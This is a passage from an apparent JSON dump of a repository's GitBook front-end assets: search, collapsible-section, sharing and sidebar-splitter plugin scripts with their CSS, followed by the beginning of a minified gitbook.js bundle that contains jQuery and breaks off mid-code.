    "content": "/*\n    This CSS only styled the search results section, not the search input\n    It defines the basic interraction to hide content when displaying results, etc\n*/\n#book-search-input {\n  background: inherit;\n}\n#book-search-results .search-results {\n  display: none;\n}\n#book-search-results .search-results ul.search-results-list {\n  list-style-type: none;\n  padding-left: 0;\n}\n#book-search-results .search-results ul.search-results-list li {\n  margin-bottom: 1.5rem;\n  padding-bottom: 0.5rem;\n  /* Highlight results */\n}\n#book-search-results .search-results ul.search-results-list li p em {\n  background-color: rgba(255, 220, 0, 0.4);\n  font-style: normal;\n}\n#book-search-results .search-results .no-results {\n  display: none;\n}\n#book-search-results.open .search-results {\n  display: block;\n}\n#book-search-results.open .search-noresults {\n  display: none;\n}\n#book-search-results.no-results .search-results .has-results {\n  display: none;\n}\n#book-search-results.no-results .search-results .no-results {\n  display: block;\n}\n#book-search-results span.search-highlight-keyword {\n  background: #ff0;\n}\n#book-search-results.search-plus .search-results .has-results .search-results-item {\n  color: inherit;\n}"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-search-plus/search.js",
    "content": "require([\n  'gitbook',\n  'jquery'\n], function (gitbook, $) {\n  var MAX_DESCRIPTION_SIZE = 500\n  var state = gitbook.state\n  var INDEX_DATA = {}\n  var usePushState = (typeof window.history.pushState !== 'undefined')\n\n  // DOM Elements\n  var $body = $('body')\n  var $bookSearchResults\n  var $searchList\n  var $searchTitle\n  var $searchResultsCount\n  var $searchQuery\n\n  // Throttle search\n  function throttle (fn, wait) {\n    var timeout\n\n    return function () {\n      var ctx = this\n      var args = arguments\n      if (!timeout) {\n        timeout = setTimeout(function () {\n          timeout = null\n          fn.apply(ctx, args)\n        }, wait)\n      }\n    }\n  }\n\n  function displayResults (res) {\n    $bookSearchResults = $('#book-search-results')\n    $searchList = $bookSearchResults.find('.search-results-list')\n    $searchTitle = $bookSearchResults.find('.search-results-title')\n    $searchResultsCount = $searchTitle.find('.search-results-count')\n    $searchQuery = $searchTitle.find('.search-query')\n\n    $bookSearchResults.addClass('open')\n\n    var noResults = res.count == 0\n    $bookSearchResults.toggleClass('no-results', noResults)\n\n    // Clear old results\n    $searchList.empty()\n\n    // Display title for research\n    $searchResultsCount.text(res.count)\n    $searchQuery.text(res.query)\n\n    // Create an <li> element for each result\n    res.results.forEach(function (item) {\n      var $li = $('<li>', {\n        'class': 'search-results-item'\n      })\n\n      var $title = $('<h3>')\n\n      var $link = $('<a>', {\n        'href': gitbook.state.basePath + '/' + item.url + '?h=' + encodeURIComponent(res.query),\n        'text': item.title,\n        'data-is-search': 1\n      })\n\n      if ($link[0].href.split('?')[0] === window.location.href.split('?')[0]) {\n        $link[0].setAttribute('data-need-reload', 1)\n      }\n\n      var content = item.body.trim()\n      if (content.length > MAX_DESCRIPTION_SIZE) {\n        content = content + '...'\n      }\n      var $content = $('<p>').html(content)\n\n      $link.appendTo($title)\n      $title.appendTo($li)\n      $content.appendTo($li)\n      $li.appendTo($searchList)\n    })\n    $('.body-inner').scrollTop(0)\n  }\n\n  function escapeRegExp (keyword) {\n    // escape regexp prevserve word\n    return String(keyword).replace(/([-.*+?^${}()|[\\]\\/\\\\])/g, '\\\\$1')\n  }\n\n  function query (keyword) {\n    if (keyword == null || keyword.trim() === '') return\n    keyword = keyword.toLowerCase()\n    var results = []\n    var index = -1\n    for (var page in INDEX_DATA) {\n      var store = INDEX_DATA[page]\n      if (\n        ~store.keywords.toLowerCase().indexOf(keyword) ||\n        ~(index = store.body.toLowerCase().indexOf(keyword))\n      ) {\n        results.push({\n          url: page,\n          title: store.title,\n          body: store.body.substr(Math.max(0, index - 50), MAX_DESCRIPTION_SIZE)\n                    .replace(/^[^\\s,.]+./, '').replace(/(..*)[\\s,.].*/, '$1') // prevent break word\n                    .replace(new RegExp('(' + escapeRegExp(keyword) + ')', 'gi'), '<span class=\"search-highlight-keyword\">$1</span>')\n        })\n      }\n    }\n    displayResults({\n      count: results.length,\n      query: keyword,\n      results: results\n    })\n  }\n\n  function launchSearch (keyword) {\n    // Add class for loading\n    $body.addClass('with-search')\n    $body.addClass('search-loading')\n\n    function doSearch () {\n      query(keyword)\n      $body.removeClass('search-loading')\n    }\n\n    throttle(doSearch)()\n  }\n\n  function closeSearch () {\n    $body.removeClass('with-search')\n    $('#book-search-results').removeClass('open')\n  }\n\n  function bindSearch () {\n    // Bind DOM\n    var $body = $('body')\n\n    // Launch query based on input content\n    function handleUpdate () {\n      var $searchInput = $('#book-search-input input')\n      var keyword = $searchInput.val()\n\n      if (keyword.length === 0) {\n        closeSearch()\n      } else {\n        launchSearch(keyword)\n      }\n    }\n\n    $body.on('keyup', '#book-search-input input', function (e) {\n      if (e.keyCode === 13) {\n        if (usePushState) {\n          var uri = updateQueryString('q', $(this).val())\n          window.history.pushState({\n            path: uri\n          }, null, uri)\n        }\n      }\n      handleUpdate()\n    })\n\n    // Push to history on blur\n    $body.on('blur', '#book-search-input input', function (e) {\n      // Update history state\n      if (usePushState) {\n        var uri = updateQueryString('q', $(this).val())\n        window.history.pushState({\n          path: uri\n        }, null, uri)\n      }\n    })\n  }\n\n  gitbook.events.on('start', function () {\n    bindSearch()\n    $.getJSON(state.basePath + '/search_plus_index.json').then(function (data) {\n      INDEX_DATA = data\n      showResult()\n      closeSearch()\n    })\n  })\n\n  // highlight\n  var highLightPageInner = function (keyword) {\n    $('.page-inner').mark(keyword, {\n      'ignoreJoiners': true,\n      'acrossElements': true,\n      'separateWordSearch': false\n    })\n\n    setTimeout(function () {\n      var mark = $('mark[data-markjs=\"true\"]')\n      if (mark.length) {\n        mark[0].scrollIntoView()\n      }\n    }, 100)\n  }\n\n  function showResult () {\n    var keyword, type\n    if (/\\b(q|h)=([^&]+)/.test(window.location.search)) {\n      type = RegExp.$1\n      keyword = decodeURIComponent(RegExp.$2)\n      if (type === 'q') {\n        launchSearch(keyword)\n      } else {\n        highLightPageInner(keyword)\n      }\n      $('#book-search-input input').val(keyword)\n    }\n  }\n\n  gitbook.events.on('page.change', showResult)\n\n  function updateQueryString (key, value) {\n    value = encodeURIComponent(value)\n\n    var url = window.location.href.replace(/([?&])(?:q|h)=([^&]+)(&|$)/, function (all, pre, value, end) {\n      if (end === '&') {\n        return pre\n      }\n      return ''\n    })\n    var re = new RegExp('([?&])' + key + '=.*?(&|#|$)(.*)', 'gi')\n    var hash\n\n    if (re.test(url)) {\n      if (typeof value !== 'undefined' && value !== null) { return url.replace(re, '$1' + key + '=' + value + '$2$3') } else {\n        hash = url.split('#')\n        url = hash[0].replace(re, '$1$3').replace(/(&|\\?)$/, '')\n        if (typeof hash[1] !== 'undefined' && hash[1] !== null) { url += '#' + hash[1] }\n        return url\n      }\n    } else {\n      if (typeof value !== 'undefined' && value !== null) {\n        var separator = url.indexOf('?') !== -1 ? '&' : '?'\n        hash = url.split('#')\n        url = hash[0] + separator + key + '=' + value\n        if (typeof hash[1] !== 'undefined' && hash[1] !== null) { url += '#' + hash[1] }\n        return url\n      } else { return url }\n    }\n  }\n  window.addEventListener('click', function (e) {\n    if (e.target.tagName === 'A' && e.target.getAttribute('data-need-reload')) {\n      setTimeout(function () {\n        window.location.reload()\n      }, 100)\n    }\n  }, true)\n})\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-sectionx/sectionx.css",
    "content": ".book.color-theme-2 .panel {\n\tbackground: #1A1A1A;\n\tborder-style: solid;\n\tborder-color: rgba(0,0,0,0.1);\n\tborder-width: 1px;\n}\n\n.book.color-theme-2  .panel-heading {\n\tbackground-color: #2D3143;\n\tborder-width: 0px;\n}\n\n.book.color-theme-2  .panel-body {\n\tbackground: #1A1A1A;\n}\n\n.book.color-theme-2 a.section {\n\tborder-color: #373b4e !important;\n}\n\n.atTitle {\n\tdisplay: flex;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-sectionx/sectionx.js",
    "content": "require([\"gitbook\", \"jquery\"], function (gitbook, $) {\n\n  var sectionToggle = function (tar, button) {\n    var $target = $('#' + tar);\n    $target.collapse('toggle');\n    if (button)\n      $target.parents('.panel').toggle('slow');\n  };\n\n  var clickAction = function ($source, tar) {\n    $source.click(function () {\n      sectionToggle(tar, !$(this).hasClass('atTitle'));\n      if (!$(this).hasClass('atTitle'))\n        $(this).toggleClass('btn-info').toggleClass('btn-success');\n    });\n\n    $('#' + tar).on('show.bs.collapse', function () {\n      $source.html($source.attr('hide') ?\n        ('<b>' + $source.attr('hide') + '</b><span class=\"fa fa-angle-up pull-left\"/>') :\n        '<span class=\"fa fa-angle-up\"/>');\n    });\n\n    $('#' + tar).on('hide.bs.collapse', function () {\n      $source.html($source.attr('show') ?\n        ('<b>' + $source.attr('show') + '</b><span class=\"fa fa-angle-down pull-left\"/>') : '<span class=\"fa fa-angle-down\"/>');\n    });\n  };\n\n  gitbook.events.bind(\"page.change\", function () {\n    $('sec').each(function () {\n      if ($(this).find('.panel').hasClass('hidden'))\n        $(this).find('.panel').removeClass('hidden').hide();\n      if ($(this).data('collapse') === true) {\n        $('#' + $(this).data('id')).collapse('hide');\n      }\n      //.collapse('toggle');\n    });\n\n    $('.section').each(function () {\n      clickAction($(this), $(this).attr('target'));\n      if (!$(this).hasClass('atTitle')) {\n        $(this).addClass('btn btn-info');\n        $(this).html($(this).attr('show') ?\n          ('<b>' + $(this).attr('show') + '</b><span class=\"fa fa-angle-down pull-left\"/>') :\n          '<span class=\"fa fa-angle-down\"/>');\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-sharing-plus/buttons.js",
    "content": "require(['gitbook', 'jquery'], function(gitbook, $) {\n    function site(label, icon, link) {\n        return {\n            label: label,\n            icon: 'fa fa-' + icon,\n            onClick: function (e) {\n                e.preventDefault();\n                window.open(link);\n            }\n        };\n    }\n\n    var url = encodeURIComponent(location.href);\n    var title = encodeURIComponent(document.title);\n\n    var SITES = {\n        douban: site('豆瓣', 'share', 'http://shuo.douban.com/!service/share?href=' + url + '&name=' + title),\n        facebook: site('Facebook', 'facebook', 'http://www.facebook.com/sharer/sharer.php?s=100&p[url]=' + url),\n        google: site('Google+', 'google-plus', 'https://plus.google.com/share?url=' + url),\n        hatenaBookmark: site('はてなブックマーク', 'bold', 'http://b.hatena.ne.jp/entry/' + url),\n        instapaper: site('instapaper', 'instapaper', 'http://www.instapaper.com/text?u=' + url),\n        line: site('LINE', 'comment', 'http://line.me/R/msg/text/?' + title + ' ' + url),\n        linkedin: site('Linkedin', 'linkedin', 'https://www.linkedin.com/shareArticle?mini=true&url=' + url),\n        messenger: site('Facebook Messenger', 'commenting', 'fb-messenger://share?link=' + url),\n        pocket: site('Pocket', 'get-pocket', 'https://getpocket.com/save?url=' + url + '&title=' + title),\n        qq: site('QQ', 'qq', 'http://connect.qq.com/widget/shareqq/index.html?url=' + url + '&title=' + title),\n        qzone: site('QQ空间', 'star', 'http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=' + url + '&title=' + title),\n        stumbleupon: site('StumbleUpon', 'stumbleupon', 'http://www.stumbleupon.com/submit?url=' + url + '&title=' + title),\n        twitter: site('Twitter', 'twitter', 'https://twitter.com/intent/tweet?url=' + title + '&text=' + title),\n        viber: site('Viber', 'volume-control-phone', 'viber://forward?text='+ url + ' ' + title),\n        vk: site('VK', 'vk', 'http://vkontakte.ru/share.php?url=' + url),\n        weibo: site('新浪微博', 'weibo', 'http://service.weibo.com/share/share.php?content=utf-8&url=' + url + '&title=' + title),\n        whatsapp: site('WhatsApp', 'whatsapp', 'whatsapp://send?text='+ url + ' ' + title),\n    };\n\n    gitbook.events.bind('start', function(e, config) {\n        var opts = config.sharing;\n\n        // Create dropdown menu\n        var menu = $.map(opts.all, function(id) {\n            var site = SITES[id];\n\n            return {\n                text: site.label,\n                onClick: site.onClick\n            };\n        });\n\n        // Create main button with dropdown\n        if (menu.length > 0) {\n            gitbook.toolbar.createButton({\n                icon: 'fa fa-share-alt',\n                label: 'Share',\n                position: 'right',\n                dropdown: [menu]\n            });\n        }\n\n        // Direct actions to share\n        $.each(SITES, function(sideId, site) {\n            if (!opts[sideId]) return;\n\n            gitbook.toolbar.createButton({\n                icon: site.icon,\n                label: site.text,\n                position: 'right',\n                onClick: site.onClick\n            });\n        });\n    });\n});\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-splitter/splitter.css",
    "content": ".divider-content-summary {\n    position: absolute;\n    top: 0;\n    right: 0;\n    height: 100%;\n    width: 5px;\n\tdisplay: table;\n\tcursor: col-resize;\n    color: #ccc;\n    -webkit-transition: color 350ms ease;\n    -moz-transition: color 350ms ease;\n    -o-transition: color 350ms ease;\n    transition: color 350ms ease\n}\n.divider-content-summary:hover {\n    color: #444;\n}\n    .divider-content-summary__icon {\n        display: table-cell;\n        vertical-align: middle;\n        text-align: center;\n    }\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-splitter/splitter.js",
    "content": "require(['gitbook', 'jQuery'], function (gitbook, $) {\n  \n\t// MEMO:\n\t// Gitbook is calculated as \"calc (100% - 60px)\" in the horizontal width when the width of the screen size is 600px\n\t// or less.\n\t// In this case, since contradiction occurs in the implementation of this module, return.\n\tif($(window).width() <= 600) {\n\t\treturn;\n\t}\n\n\tgitbook.events.bind('start', function () {\n\t});\n\n\tgitbook.events.bind('page.change', function () {\n\n\t\tvar KEY_SPLIT_STATE = 'plugin_gitbook_split';\n\n\t\tvar dividerWidth = null;\n\t\tvar isDraggable = false;\n\t\tvar dividerCenterOffsetLeft = null;\n\t\tvar splitState = null;\n\t\tvar grabPointWidth = null;\n\n\t\tvar $body = $('body');\n\t\tvar $book = $('.book');\n\t\tvar $summary = $('.book-summary');\n\t\tvar $bookBody = $('.book-body');\n\t\tvar $divider = $('<div class=\"divider-content-summary\">' +\n\t\t\t               '<div class=\"divider-content-summary__icon\">' +\n\t\t\t                 '<i class=\"fa fa-ellipsis-v\"></i>' +\n\t\t\t               '</div>' +\n\t\t\t             '</div>');\n\n\t\t$summary.append($divider);\n\n\t\tdividerWidth = $divider.outerWidth();\n\t\tdividerCenterOffsetLeft = $divider.outerWidth() / 2;\n\n\t\t// restore split state from sessionStorage\n\t\tsplitState = getSplitState();\n\t\tsetSplitState(\n\t\t\tsplitState.summaryWidth,\n\t\t\tsplitState.summaryOffset,\n\t\t\tsplitState.bookBodyOffset\n\t\t);\n\n\t\tsetTimeout(function() {\n\t\t\tvar isGreaterThanEqualGitbookV2_5 = !Boolean($('.toggle-summary').length);\n\n\t\t\tvar $toggleSummary = isGreaterThanEqualGitbookV2_5\n\t\t\t\t? $('.fa.fa-align-justify').parent() : $('.toggle-summary');\n\n\t\t\t$toggleSummary.on('click', function () {\n\n\t\t\t\tvar summaryOffset  = null;\n\t\t\t\tvar bookBodyOffset = null;\n\n\t\t\t\tvar isOpen = isGreaterThanEqualGitbookV2_5\n\t\t\t\t\t? !gitbook.sidebar.isOpen() : $book.hasClass('with-summary');\n\n\t\t\t\tif (isOpen) {\n\t\t\t\t\tsummaryOffset  = -($summary.outerWidth());\n\t\t\t\t\tbookBodyOffset = 0;\n\t\t\t\t} else {\n\t\t\t\t\tsummaryOffset  = 0;\n\t\t\t\t\tbookBodyOffset = $summary.outerWidth();\n\t\t\t\t}\n\n\t\t\t\tsetSplitState($summary.outerWidth(), summaryOffset, bookBodyOffset);\n\t\t\t\tsaveSplitState($summary.outerWidth(), summaryOffset, bookBodyOffset);\n\t\t\t});\n\t\t}, 1);\n\n\t\t$divider.on('mousedown', function (event) {\n\t\t\tevent.stopPropagation();\n\t\t\tisDraggable = true;\n\t\t\tgrabPointWidth = $summary.outerWidth() - event.pageX;\n\t\t});\n\n\t\t$body.on('mouseup', function (event) {\n\t\t\tevent.stopPropagation();\n\t\t\tisDraggable = false;\n\t\t\tsaveSplitState(\n\t\t\t\t$summary.outerWidth(),\n\t\t\t\t$summary.position().left,\n\t\t\t\t$bookBody.position().left\n\t\t\t);\n\t\t});\n\n\t\t$body.on('mousemove', function (event) {\n\t\t\tif (!isDraggable) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tevent.stopPropagation();\n\t\t\tevent.preventDefault();\n\t\t\t$summary.outerWidth(event.pageX + grabPointWidth);\n\t\t\t$bookBody.offset({ left: event.pageX + grabPointWidth });\n\t\t});\n\n\t\tfunction getSplitState() {\n\t\t\tvar splitState = JSON.parse(sessionStorage.getItem(KEY_SPLIT_STATE));\n\t\t\tsplitState || (splitState = {});\n\t\t\tsplitState.summaryWidth || (splitState.summaryWidth = $summary.outerWidth());\n\t\t\tsplitState.summaryOffset || (splitState.summaryOffset = $summary.position().left);\n\t\t\tsplitState.bookBodyOffset || (splitState.bookBodyOffset = $bookBody.position().left);\n\t\t\treturn splitState;\n\t\t}\n\n\t\tfunction saveSplitState(summaryWidth, summaryWidthOffset, bookBodyOffset) {\n\t\t\tsessionStorage.setItem(KEY_SPLIT_STATE, JSON.stringify({\n\t\t\t\tsummaryWidth: summaryWidth,\n\t\t\t\tsummaryOffset: summaryWidthOffset,\n\t\t\t\tbookBodyOffset: bookBodyOffset,\n\t\t\t}));\n\t\t}\n\n\t\tfunction setSplitState(summaryWidth, summaryOffset, bookBodyOffset) {\n\t\t\t$summary.outerWidth(summaryWidth);\n\t\t\t$summary.offset({ left: summaryOffset });\n\t\t\t$bookBody.offset({ left: bookBodyOffset });\n\t\t\t// improved broken layout in windows chrome.\n\t\t\t//   \"$(x).offset\" automatically add to \"position:relative\".\n\t\t\t//   but it cause layout broken..\n\t\t\t$summary.css({ position: 'absolute' });\n\t\t\t$bookBody.css({ position: 'absolute' });\n\t\t}\n\t});\n});\n"
  },
  {
    "path": "docs/gitbook/gitbook.js",
    "content": "!function e(t,n,r){function o(s,a){if(!n[s]){if(!t[s]){var u=\"function\"==typeof require&&require;if(!a&&u)return u(s,!0);if(i)return i(s,!0);var c=new Error(\"Cannot find module '\"+s+\"'\");throw c.code=\"MODULE_NOT_FOUND\",c}var l=n[s]={exports:{}};t[s][0].call(l.exports,function(e){var n=t[s][1][e];return o(n?n:e)},l,l.exports,e,t,n,r)}return n[s].exports}for(var i=\"function\"==typeof require&&require,s=0;s<r.length;s++)o(r[s]);return o}({1:[function(e,t,n){!function(e,n){\"use strict\";\"object\"==typeof t&&\"object\"==typeof t.exports?t.exports=e.document?n(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return n(e)}:n(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";function n(e,t){t=t||te;var n=t.createElement(\"script\");n.text=e,t.head.appendChild(n).parentNode.removeChild(n)}function r(e){var t=!!e&&\"length\"in e&&e.length,n=de.type(e);return\"function\"!==n&&!de.isWindow(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}function o(e,t,n){return de.isFunction(t)?de.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?de.grep(e,function(e){return e===t!==n}):\"string\"!=typeof t?de.grep(e,function(e){return se.call(t,e)>-1!==n}):je.test(t)?de.filter(t,e,n):(t=de.filter(t,e),de.grep(e,function(e){return se.call(t,e)>-1!==n&&1===e.nodeType}))}function i(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}function s(e){var t={};return de.each(e.match(qe)||[],function(e,n){t[n]=!0}),t}function a(e){return e}function u(e){throw e}function c(e,t,n){var r;try{e&&de.isFunction(r=e.promise)?r.call(e).done(t).fail(n):e&&de.isFunction(r=e.then)?r.call(e,t,n):t.call(void 0,e)}catch(e){n.call(void 0,e)}}function l(){te.removeEventListener(\"DOMContentLoaded\",l),e.removeEventListener(\"load\",l),de.ready()}function f(){this.expando=de.expando+f.uid++}function p(e){return\"true\"===e||\"false\"!==e&&(\"null\"===e?null:e===+e+\"\"?+e:Ie.test(e)?JSON.parse(e):e)}function h(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r=\"data-\"+t.replace(Pe,\"-$&\").toLowerCase(),n=e.getAttribute(r),\"string\"==typeof n){try{n=p(n)}catch(e){}Re.set(e,t,n)}else n=void 0;return n}function d(e,t,n,r){var o,i=1,s=20,a=r?function(){return r.cur()}:function(){return de.css(e,t,\"\")},u=a(),c=n&&n[3]||(de.cssNumber[t]?\"\":\"px\"),l=(de.cssNumber[t]||\"px\"!==c&&+u)&&$e.exec(de.css(e,t));if(l&&l[3]!==c){c=c||l[3],n=n||[],l=+u||1;do i=i||\".5\",l/=i,de.style(e,t,l+c);while(i!==(i=a()/u)&&1!==i&&--s)}return n&&(l=+l||+u||0,o=n[1]?l+(n[1]+1)*n[2]:+n[2],r&&(r.unit=c,r.start=l,r.end=o)),o}function g(e){var t,n=e.ownerDocument,r=e.nodeName,o=Ue[r];return o?o:(t=n.body.appendChild(n.createElement(r)),o=de.css(t,\"display\"),t.parentNode.removeChild(t),\"none\"===o&&(o=\"block\"),Ue[r]=o,o)}function m(e,t){for(var n,r,o=[],i=0,s=e.length;i<s;i++)r=e[i],r.style&&(n=r.style.display,t?(\"none\"===n&&(o[i]=Fe.get(r,\"display\")||null,o[i]||(r.style.display=\"\")),\"\"===r.style.display&&Be(r)&&(o[i]=g(r))):\"none\"!==n&&(o[i]=\"none\",Fe.set(r,\"display\",n)));for(i=0;i<s;i++)null!=o[i]&&(e[i].style.display=o[i]);return e}function v(e,t){var n;return n=\"undefined\"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||\"*\"):\"undefined\"!=typeof e.querySelectorAll?e.querySelectorAll(t||\"*\"):[],void 0===t||t&&de.nodeName(e,t)?de.merge([e],n):n}function y(e,t){for(var n=0,r=e.length;n<r;n++)Fe.set(e[n],\"globalEval\",!t||Fe.get(t[n],\"globalEval\"))}function x(e,t,n,r,o){for(var i,s,a,u,c,l,f=t.createDocumentFragment(),p=[],h=0,d=e.length;h<d;h++)if(i=e[h],i||0===i)if(\"object\"===de.type(i))de.merge(p,i.nodeType?[i]:i);else if(Ye.test(i)){for(s=s||f.appendChild(t.createElement(\"div\")),a=(Xe.exec(i)||[\"\",\"\"])[1].toLowerCase(),u=Ge[a]||Ge._default,s.innerHTML=u[1]+de.htmlPrefilter(i)+u[2],l=u[0];l--;)s=s.lastChild;de.merge(p,s.childNodes),s=f.firstChild,s.textContent=\"\"}else p.push(t.createTextNode(i));for(f.textContent=\"\",h=0;i=p[h++];)if(r&&de.inArray(i,r)>-1)o&&o.push(i);else if(c=de.contains(i.ownerDocument,i),s=v(f.appendChild(i),\"script\"),c&&y(s),n)for(l=0;i=s[l++];)Ve.test(i.type||\"\")&&n.push(i);return f}function b(){return!0}function w(){return!1}function T(){try{return te.activeElement}catch(e){}}function C(e,t,n,r,o,i){var s,a;if(\"object\"==typeof t){\"string\"!=typeof n&&(r=r||n,n=void 0);for(a in t)C(e,a,n,r,t[a],i);return e}if(null==r&&null==o?(o=n,r=n=void 0):null==o&&(\"string\"==typeof n?(o=r,r=void 0):(o=r,r=n,n=void 0)),o===!1)o=w;else if(!o)return e;return 1===i&&(s=o,o=function(e){return de().off(e),s.apply(this,arguments)},o.guid=s.guid||(s.guid=de.guid++)),e.each(function(){de.event.add(this,t,o,r,n)})}function j(e,t){return de.nodeName(e,\"table\")&&de.nodeName(11!==t.nodeType?t:t.firstChild,\"tr\")?e.getElementsByTagName(\"tbody\")[0]||e:e}function k(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}function E(e){var t=rt.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\"type\"),e}function S(e,t){var n,r,o,i,s,a,u,c;if(1===t.nodeType){if(Fe.hasData(e)&&(i=Fe.access(e),s=Fe.set(t,i),c=i.events)){delete s.handle,s.events={};for(o in c)for(n=0,r=c[o].length;n<r;n++)de.event.add(t,o,c[o][n])}Re.hasData(e)&&(a=Re.access(e),u=de.extend({},a),Re.set(t,u))}}function N(e,t){var n=t.nodeName.toLowerCase();\"input\"===n&&ze.test(e.type)?t.checked=e.checked:\"input\"!==n&&\"textarea\"!==n||(t.defaultValue=e.defaultValue)}function A(e,t,r,o){t=oe.apply([],t);var i,s,a,u,c,l,f=0,p=e.length,h=p-1,d=t[0],g=de.isFunction(d);if(g||p>1&&\"string\"==typeof d&&!pe.checkClone&&nt.test(d))return e.each(function(n){var i=e.eq(n);g&&(t[0]=d.call(this,n,i.html())),A(i,t,r,o)});if(p&&(i=x(t,e[0].ownerDocument,!1,e,o),s=i.firstChild,1===i.childNodes.length&&(i=s),s||o)){for(a=de.map(v(i,\"script\"),k),u=a.length;f<p;f++)c=i,f!==h&&(c=de.clone(c,!0,!0),u&&de.merge(a,v(c,\"script\"))),r.call(e[f],c,f);if(u)for(l=a[a.length-1].ownerDocument,de.map(a,E),f=0;f<u;f++)c=a[f],Ve.test(c.type||\"\")&&!Fe.access(c,\"globalEval\")&&de.contains(l,c)&&(c.src?de._evalUrl&&de._evalUrl(c.src):n(c.textContent.replace(ot,\"\"),l))}return e}function q(e,t,n){for(var r,o=t?de.filter(t,e):e,i=0;null!=(r=o[i]);i++)n||1!==r.nodeType||de.cleanData(v(r)),r.parentNode&&(n&&de.contains(r.ownerDocument,r)&&y(v(r,\"script\")),r.parentNode.removeChild(r));return e}function D(e,t,n){var r,o,i,s,a=e.style;return n=n||at(e),n&&(s=n.getPropertyValue(t)||n[t],\"\"!==s||de.contains(e.ownerDocument,e)||(s=de.style(e,t)),!pe.pixelMarginRight()&&st.test(s)&&it.test(t)&&(r=a.width,o=a.minWidth,i=a.maxWidth,a.minWidth=a.maxWidth=a.width=s,s=n.width,a.width=r,a.minWidth=o,a.maxWidth=i)),void 0!==s?s+\"\":s}function O(e,t){return{get:function(){return e()?void delete this.get:(this.get=t).apply(this,arguments)}}}function L(e){if(e in pt)return e;for(var t=e[0].toUpperCase()+e.slice(1),n=ft.length;n--;)if(e=ft[n]+t,e in pt)return e}function H(e,t,n){var r=$e.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||\"px\"):t}function F(e,t,n,r,o){var i,s=0;for(i=n===(r?\"border\":\"content\")?4:\"width\"===t?1:0;i<4;i+=2)\"margin\"===n&&(s+=de.css(e,n+We[i],!0,o)),r?(\"content\"===n&&(s-=de.css(e,\"padding\"+We[i],!0,o)),\"margin\"!==n&&(s-=de.css(e,\"border\"+We[i]+\"Width\",!0,o))):(s+=de.css(e,\"padding\"+We[i],!0,o),\"padding\"!==n&&(s+=de.css(e,\"border\"+We[i]+\"Width\",!0,o)));return s}function R(e,t,n){var r,o=!0,i=at(e),s=\"border-box\"===de.css(e,\"boxSizing\",!1,i);if(e.getClientRects().length&&(r=e.getBoundingClientRect()[t]),r<=0||null==r){if(r=D(e,t,i),(r<0||null==r)&&(r=e.style[t]),st.test(r))return r;o=s&&(pe.boxSizingReliable()||r===e.style[t]),r=parseFloat(r)||0}return r+F(e,t,n||(s?\"border\":\"content\"),o,i)+\"px\"}function I(e,t,n,r,o){return new I.prototype.init(e,t,n,r,o)}function P(){dt&&(e.requestAnimationFrame(P),de.fx.tick())}function M(){return e.setTimeout(function(){ht=void 0}),ht=de.now()}function $(e,t){var n,r=0,o={height:e};for(t=t?1:0;r<4;r+=2-t)n=We[r],o[\"margin\"+n]=o[\"padding\"+n]=e;return t&&(o.opacity=o.width=e),o}function W(e,t,n){for(var r,o=(U.tweeners[t]||[]).concat(U.tweeners[\"*\"]),i=0,s=o.length;i<s;i++)if(r=o[i].call(n,t,e))return r}function B(e,t,n){var r,o,i,s,a,u,c,l,f=\"width\"in t||\"height\"in t,p=this,h={},d=e.style,g=e.nodeType&&Be(e),v=Fe.get(e,\"fxshow\");n.queue||(s=de._queueHooks(e,\"fx\"),null==s.unqueued&&(s.unqueued=0,a=s.empty.fire,s.empty.fire=function(){s.unqueued||a()}),s.unqueued++,p.always(function(){p.always(function(){s.unqueued--,de.queue(e,\"fx\").length||s.empty.fire()})}));for(r in t)if(o=t[r],gt.test(o)){if(delete t[r],i=i||\"toggle\"===o,o===(g?\"hide\":\"show\")){if(\"show\"!==o||!v||void 0===v[r])continue;g=!0}h[r]=v&&v[r]||de.style(e,r)}if(u=!de.isEmptyObject(t),u||!de.isEmptyObject(h)){f&&1===e.nodeType&&(n.overflow=[d.overflow,d.overflowX,d.overflowY],c=v&&v.display,null==c&&(c=Fe.get(e,\"display\")),l=de.css(e,\"display\"),\"none\"===l&&(c?l=c:(m([e],!0),c=e.style.display||c,l=de.css(e,\"display\"),m([e]))),(\"inline\"===l||\"inline-block\"===l&&null!=c)&&\"none\"===de.css(e,\"float\")&&(u||(p.done(function(){d.display=c}),null==c&&(l=d.display,c=\"none\"===l?\"\":l)),d.display=\"inline-block\")),n.overflow&&(d.overflow=\"hidden\",p.always(function(){d.overflow=n.overflow[0],d.overflowX=n.overflow[1],d.overflowY=n.overflow[2]})),u=!1;for(r in h)u||(v?\"hidden\"in v&&(g=v.hidden):v=Fe.access(e,\"fxshow\",{display:c}),i&&(v.hidden=!g),g&&m([e],!0),p.done(function(){g||m([e]),Fe.remove(e,\"fxshow\");for(r in h)de.style(e,r,h[r])})),u=W(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}}function _(e,t){var n,r,o,i,s;for(n in e)if(r=de.camelCase(n),o=t[r],i=e[n],de.isArray(i)&&(o=i[1],i=e[n]=i[0]),n!==r&&(e[r]=i,delete e[n]),s=de.cssHooks[r],s&&\"expand\"in s){i=s.expand(i),delete e[r];for(n in i)n in e||(e[n]=i[n],t[n]=o)}else t[r]=o}function U(e,t,n){var r,o,i=0,s=U.prefilters.length,a=de.Deferred().always(function(){delete u.elem}),u=function(){if(o)return!1;for(var t=ht||M(),n=Math.max(0,c.startTime+c.duration-t),r=n/c.duration||0,i=1-r,s=0,u=c.tweens.length;s<u;s++)c.tweens[s].run(i);return 